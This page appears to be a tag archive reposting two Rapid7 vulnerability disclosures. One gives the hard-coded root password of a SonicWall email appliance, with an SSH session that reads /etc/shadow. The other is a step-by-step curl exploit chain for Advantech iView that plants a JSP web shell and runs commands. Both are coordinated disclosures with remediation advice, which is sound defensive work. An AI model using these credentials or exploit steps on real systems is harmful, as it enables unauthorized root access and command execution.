Tag Archives: Vulnerability Disclosure

CVE-2021-20025: SonicWall Email Security Appliance Backdoor Credential

Post Syndicated from Tod Beardsley original https://blog.rapid7.com/2021/06/23/cve-2021-20025-sonicwall-email-security-appliance-backdoor-credential/

CVE-2021-20025: SonicWall Email Security Appliance Backdoor Credential

The virtual, on-premises version of the SonicWall Email Security Appliance ships with an undocumented, static credential, which can be used by an attacker to gain root privileges on the device. This is an instance of CWE-798: Use of Hard-coded Credentials, and has an estimated CVSSv3 score of 9.1. This issue was fixed by the vendor in version 10.0.10, according to the vendor’s advisory, SNWLID-2021-0012.

Product Description

The SonicWall Email Security Virtual Appliance is a solution which “defends against advanced email-borne threats such as ransomware, zero-day threats, spear phishing and business email compromise (BEC).” It is in use in many industries around the world as a primary means of preventing several varieties of email attacks. More about SonicWall’s solutions can be found at the vendor’s website.

Credit

This issue was discovered by William Vu of Rapid7, and is being disclosed in accordance with Rapid7’s vulnerability disclosure policy.

Exploitation

The session capture detailed below illustrates using the built-in SSH management interface to connect to the device as the root user with the password, “sonicall”.

This attack was tested on 10.0.9.6105 and 10.0.9.6177, the latest builds available at the time of testing.

wvu@kharak:~$ ssh -o stricthostkeychecking=no -o userknownhostsfile=/dev/null [email protected]
Warning: Permanently added '192.168.123.251' (ECDSA) to the list of known hosts.
For CLI access you must login as snwlcli user.
[email protected]'s password: sonicall
[root@snwl ~]# id
uid=0(root) gid=0(root) groups=0(root),1(bin),2(daemon),3(sys),4(adm),6(disk),10(wheel),11(floppy),20(dialout),26(tape),27(video)
[root@snwl ~]# uname -a
Linux snwl.example.com 4.19.58-snwl-VMWare64 #1 SMP Wed Apr 14 20:59:36 PDT 2021 x86_64 GNU/Linux
[root@snwl ~]# grep root /etc/shadow
root:Y0OoRLtjUwq1E:12605:0:::::
[root@snwl ~]# snwlcli
Login: admin
Password:
SNWLCLI> version
10.0.9.6177
SNWLCLI>

Impact

Given remote root access to what is usually a perimeter-homed device, an attacker can further extend their reach into a targeted network to launch additional attacks against internal infrastructure from across the internet. More locally, an attacker could likely use this access to update or disable email scanning rules and logic to allow for malicious email to pass undetected to further exploit internal hosts.

Remediation

As detailed in the vendor’s advisory, users are urged to use at least version 10.0.10 on fresh installs of the affected virtual host. Note that updating to version 10.0.10 or later does not appear to resolve the issue directly; users who update existing versions should ensure they are also connected to the MySonicWall Licensing services in order to completely resolve the issue.

For sites that are not able to update or replace affected devices immediately, access to remote management services should be limited to only trusted, internal networks — most notably, not the internet.

Disclosure Timeline

Rapid7’s coordinated vulnerability disclosure team is deeply impressed with this vendor’s rapid turnaround time from report to fix. This vulnerability was both reported and confirmed on the same day, and thanks to SonicWall’s excellent PSIRT team, a fix was developed, tested, and released almost exactly three weeks after the initial report.

  • April, 2021: Issue discovered by William Vu of Rapid7
  • Thu, Apr 22, 2021: Details provided to SonicWall via their CVD portal
  • Thu, Apr 22, 2021: Confirmed reproduction of the issue by the vendor
  • Thu, May 13, 2021: Update released by the vendor, removing the static account
  • Thu, May 13, 2021: CVE-2021-20025 published in SNWLID-2021-0012
  • Wed, Jun 23, 2021: Rapid7 advisory published with further details

CVE-2021-22652: Advantech iView Missing Authentication RCE (FIXED)

Post Syndicated from Tod Beardsley original https://blog.rapid7.com/2021/02/11/cve-2021-22652-advantech-iview-missing-authentication-rce-fixed/

CVE-2021-22652: Advantech iView Missing Authentication RCE (FIXED)

Advantech iView versions prior to 5.7.03.6112 suffer from an instance of "CWE-306: Missing Authentication For Critical Function." This vulnerability (CVE-2021-22652) has a CVSSv3 score of 9.8, which is usually CRITICAL, since it effectively allows anyone who can connect to the iView server to run arbitrary, OS-level commands in the user context of the iView application, which is nearly always SYSTEM-level access.

Product description

Advantech iView is a proprietary, SNMP-based IoT device management application used to manage deployments of Advantech B+B SmartWorx-enabled products, as described on the vendor’s product site.

Credit

This issue was discovered by Rapid7 Senior Security Researcher William Vu. It is being disclosed in accordance with Rapid7’s vulnerability disclosure policy and in cooperation with the Industrial Control Systems Vulnerability Management and Coordination (ICS-VMC) section of the Cybersecurity and Infrastructure Security Agency (CISA), a division of the U.S. Department of Homeland Security.

Exploitation of CVE-2021-22652 (FIXED)

An unauthenticated configuration change combined with an unauthenticated file write primitive leads to an arbitrary file write that allows for remote code execution as the user running iView, which is typically NT AUTHORITY\SYSTEM. This issue was demonstrated in the vulnerable version 5.7.02.5992 and fixed in version 5.7.03.6112.

The vulnerability can be demonstrated with the following series of curl(1) commands:

Step 0: Confirm vulnerable version

This is just to confirm that we’re running a vulnerable version.

Note: Replace all instances of [RHOST] with your target IP.

wvu@kharak:~$ curl -s http://[RHOST]:8080/iView3/MenuServlet -d "page_action_type=getMenuFragment&page=version.frag" | xmllint --html --xpath 'string(//input[starts-with(@value, "Version")]/@value)' - 2> /dev/null | paste -
Version 5.7 (Build 0002.5992)
wvu@kharak:~$

Version 5.7.02.5992 is detected. This check is unauthenticated.

Step 1: Retrieve iView configuration

This is to ensure we are modifying only the values we need.

wvu@kharak:~$ curl -s http://[RHOST]:8080/iView3/NetworkServlet -d page_action_type=retrieveSystemSettings | jq -c .[0]
{"PROMPATH":"c:\\IMCTrapService\\prom_bin\\","EXPORTPATH":"c:\\IMCTrapService\\export\\","IMPORTPATH":"c:\\IMCTrapService\\import\\","CONFIGPATH":"c:\\IMCTrapService\\config\\","DBBACKUPPATH":"c:\\IMCTrapService\\backup\\","ZTPTEMPLATESPATH":"c:\\IMCTrapService\\templates\\","SSHPORT":"22","TFTPPORT":"69","MAXBACKUPFILES":"3","NETWORKSCANTIMEOUT":"20","USERSESSIONTIMEOUT":"0","USECUSTOMNAMING":"0","CUSTOMNAMETEMPLATE":""}
wvu@kharak:~$

As you can see, the configuration is returned as a JSON object.

Step 2: Update EXPORTPATH to webapps\iView3\

A relative path can be used, since the working directory is the Tomcat folder. This saves us from having to choose between C:\Program Files and C:\Program Files (x86).

wvu@kharak:~$ curl -s http://[RHOST]:8080/iView3/NetworkServlet -d 'page_action_type=updateSystemSettings&json_obj={"PROMPATH":"c:\\IMCTrapService\\prom_bin\\","EXPORTPATH":"webapps\\iView3\\","IMPORTPATH":"c:\\IMCTrapService\\import\\","CONFIGPATH":"c:\\IMCTrapService\\config\\","DBBACKUPPATH":"c:\\IMCTrapService\\backup\\","ZTPTEMPLATESPATH":"c:\\IMCTrapService\\templates\\","SSHPORT":"22","TFTPPORT":"69","MAXBACKUPFILES":"3","NETWORKSCANTIMEOUT":"20","USERSESSIONTIMEOUT":"0","USECUSTOMNAMING":"0","CUSTOMNAMETEMPLATE":""}' | jq .[0]
{
  "PROMPATH": "c:\\IMCTrapService\\prom_bin\\",
  "EXPORTPATH": "webapps\\iView3\\",
  "IMPORTPATH": "c:\\IMCTrapService\\import\\",
  "CONFIGPATH": "c:\\IMCTrapService\\config\\",
  "DBBACKUPPATH": "c:\\IMCTrapService\\backup\\",
  "ZTPTEMPLATESPATH": "c:\\IMCTrapService\\templates\\",
  "SSHPORT": "22",
  "TFTPPORT": "69",
  "MAXBACKUPFILES": "3",
  "NETWORKSCANTIMEOUT": "20",
  "USERSESSIONTIMEOUT": "0",
  "USECUSTOMNAMING": "0",
  "CUSTOMNAMETEMPLATE": ""
}
wvu@kharak:~$

The updated configuration is, again, returned as a JSON object.

Step 3: Write JSP stub to provide command execution

The JSP decodes to
<%Runtime.getRuntime().exec(request.getParameter("c"));%> and is
written to webapps\iView3\x.jsp.

wvu@kharak:~$ curl http://[RHOST]:8080/iView3/NetworkServlet -d 'page_action_type=exportInventoryTable&col_list=<%25Runtime.getRuntime().exec(request.getParameter("c"));%25>-NULL&sortname=NULL&sortorder=&filename=x.jsp'
Export failed.
wvu@kharak:~$

Note that the returned error is immaterial to the exploit (the export "failed" because the tested instance has no data to export).

Step 4: Execute arbitrary commands

You should now be able to execute arbitrary commands by sending the c parameter to the /iView3/x.jsp script.

Note: Replace [USERNAME] with your desktop user.

wvu@kharak:~$ curl http://[RHOST]:8080/iView3/x.jsp -d "c=cmd.exe /c whoami > C:\Users\[USERNAME]\Desktop\vulnerable.txt"
nul
wvu@kharak:~$

Similar to Step 3, the nul returned value is immaterial to the exploit.

Vulnerability impact

The attack may be limited by the fact that iView web interfaces are generally not exposed to the internet and that iView is usually deployed as an internal web application. So, an attacker would first need to somehow connect to the iView server. However, since it is a web application, it’s not unthinkable to imagine that there may be a few exposed to the public internet.

Once an attacker has control of the iView server, the attacker can then manage the associated SmartWorx-enabled networked devices, which are typically IoT in nature and can have an effect on that physical infrastructure.

Remediating CVE-2021-22652

This issue was fixed in pre-release version 5.7.03.6112. Users who cannot update right away should ensure the iView web application is not reachable from untrusted networks, such as the internet.

Disclosure timeline

  • Wednesday, Aug. 26, 2020: Issue discovered by William Vu of Rapid7.
  • Thursday, Aug. 27, 2020: Initial disclosure to ICS-CERT via the CISA Service Desk.
  • Monday, Nov. 9, 2020: ICS-CERT confirms receipt and assigns ICS-VU-820719.
  • Friday, Feb. 5, 2021: Draft advisory for ICSA-21-040-02 confirmed by Rapid7.
  • Tuesday, Feb. 9, 2021: ICS Advisory ICSA-21-040-02 published by CISA.
  • Thursday, Feb 11, 2021: Rapid7 details on CVE-2021-22652 published.

NEVER MISS A BLOG

Get the latest stories, expertise, and news about security today.